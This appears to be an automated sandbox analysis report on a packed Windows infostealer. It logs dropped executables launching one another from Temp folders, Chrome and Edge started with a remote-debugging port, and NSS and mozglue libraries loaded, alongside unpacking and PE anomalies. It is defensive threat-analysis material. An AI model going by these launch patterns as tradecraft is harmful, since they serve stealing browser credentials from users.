Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe "C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe "C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\AEBKFIJEGC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2252,i,2575064197677187059,9976136192055710644,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2240,i,13998815529808110965,14487419510429948634,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2236,i,13329737199814142274,14700275200820245279,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\AEBKFIJEGC.exe "C:\Users\user\Documents\AEBKFIJEGC.exe"	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe "C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe "C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1757184 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe

Static PE information: Raw size of myujmcep is bigger than: 0x100000 < 0x193200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2830738234.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ed0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;myujmcep:EW;ajcoremj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;myujmcep:EW;ajcoremj:EW;.taggant:EW;
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	Unpacked PE file: 14.2.AEBKFIJEGC.exe.af0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.b90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wzzqklpt:EW;ckrwiwfn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1011212001\77d2de4f7b.exe	Unpacked PE file: 19.2.77d2de4f7b.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ymqqshfd:EW;ftkrcswf:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1011213001\c3e4899de4.exe	Unpacked PE file: 20.2.c3e4899de4.exe.c40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nxovzswj:EW;guodefnt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nxovzswj:EW;guodefnt:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C933480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C933480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: AEBKFIJEGC.exe.0.dr	Static PE information: real checksum: 0x1d93a2 should be: 0x1d646f
Source: random[1].exe.17.dr	Static PE information: real checksum: 0x1cce3e should be: 0x1ca19f
Source: 74cb638a83.exe.17.dr	Static PE information: real checksum: 0x1b32dd should be: 0x1adf84
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x1d93a2 should be: 0x1d646f
Source: random[1].exe0.17.dr	Static PE information: real checksum: 0x1b32dd should be: 0x1adf84
Source: c3e4899de4.exe.17.dr	Static PE information: real checksum: 0x1cce3e should be: 0x1ca19f
Source: random[1].exe1.17.dr	Static PE information: real checksum: 0x1e89d0 should be: 0x1ecfed
Source: 77d2de4f7b.exe.17.dr	Static PE information: real checksum: 0x1e89d0 should be: 0x1ecfed
Source: file.exe	Static PE information: real checksum: 0x1b32dd should be: 0x1b3edf
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d93a2 should be: 0x1d646f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: myujmcep
Source: file.exe	Static PE information: section name: ajcoremj
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: wzzqklpt
Source: random[1].exe.0.dr	Static PE information: section name: ckrwiwfn
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name:
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: .idata
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name:
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: wzzqklpt
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: ckrwiwfn
Source: AEBKFIJEGC.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: wzzqklpt
Source: skotes.exe.14.dr	Static PE information: section name: ckrwiwfn
Source: skotes.exe.14.dr	Static PE information: section name: .taggant
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: nxovzswj
Source: random[1].exe.17.dr	Static PE information: section name: guodefnt
Source: random[1].exe.17.dr	Static PE information: section name: .taggant
Source: c3e4899de4.exe.17.dr	Static PE information: section name:
Source: c3e4899de4.exe.17.dr	Static PE information: section name: .idata
Source: c3e4899de4.exe.17.dr	Static PE information: section name:
Source: c3e4899de4.exe.17.dr	Static PE information: section name: nxovzswj
Source: c3e4899de4.exe.17.dr	Static PE information: section name: guodefnt
Source: c3e4899de4.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: myujmcep
Source: random[1].exe0.17.dr	Static PE information: section name: ajcoremj
Source: random[1].exe0.17.dr	Static PE information: section name: .taggant
Source: 74cb638a83.exe.17.dr	Static PE information: section name:
Source: 74cb638a83.exe.17.dr	Static PE information: section name: .idata
Source: 74cb638a83.exe.17.dr	Static PE information: section name:
Source: 74cb638a83.exe.17.dr	Static PE information: section name: myujmcep
Source: 74cb638a83.exe.17.dr	Static PE information: section name: ajcoremj
Source: 74cb638a83.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: ymqqshfd
Source: random[1].exe1.17.dr	Static PE information: section name: ftkrcswf
Source: random[1].exe1.17.dr	Static PE information: section name: .taggant
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name:
Source: 77d2de4f7b.exe.17.dr	Static PE information: section name: .idata
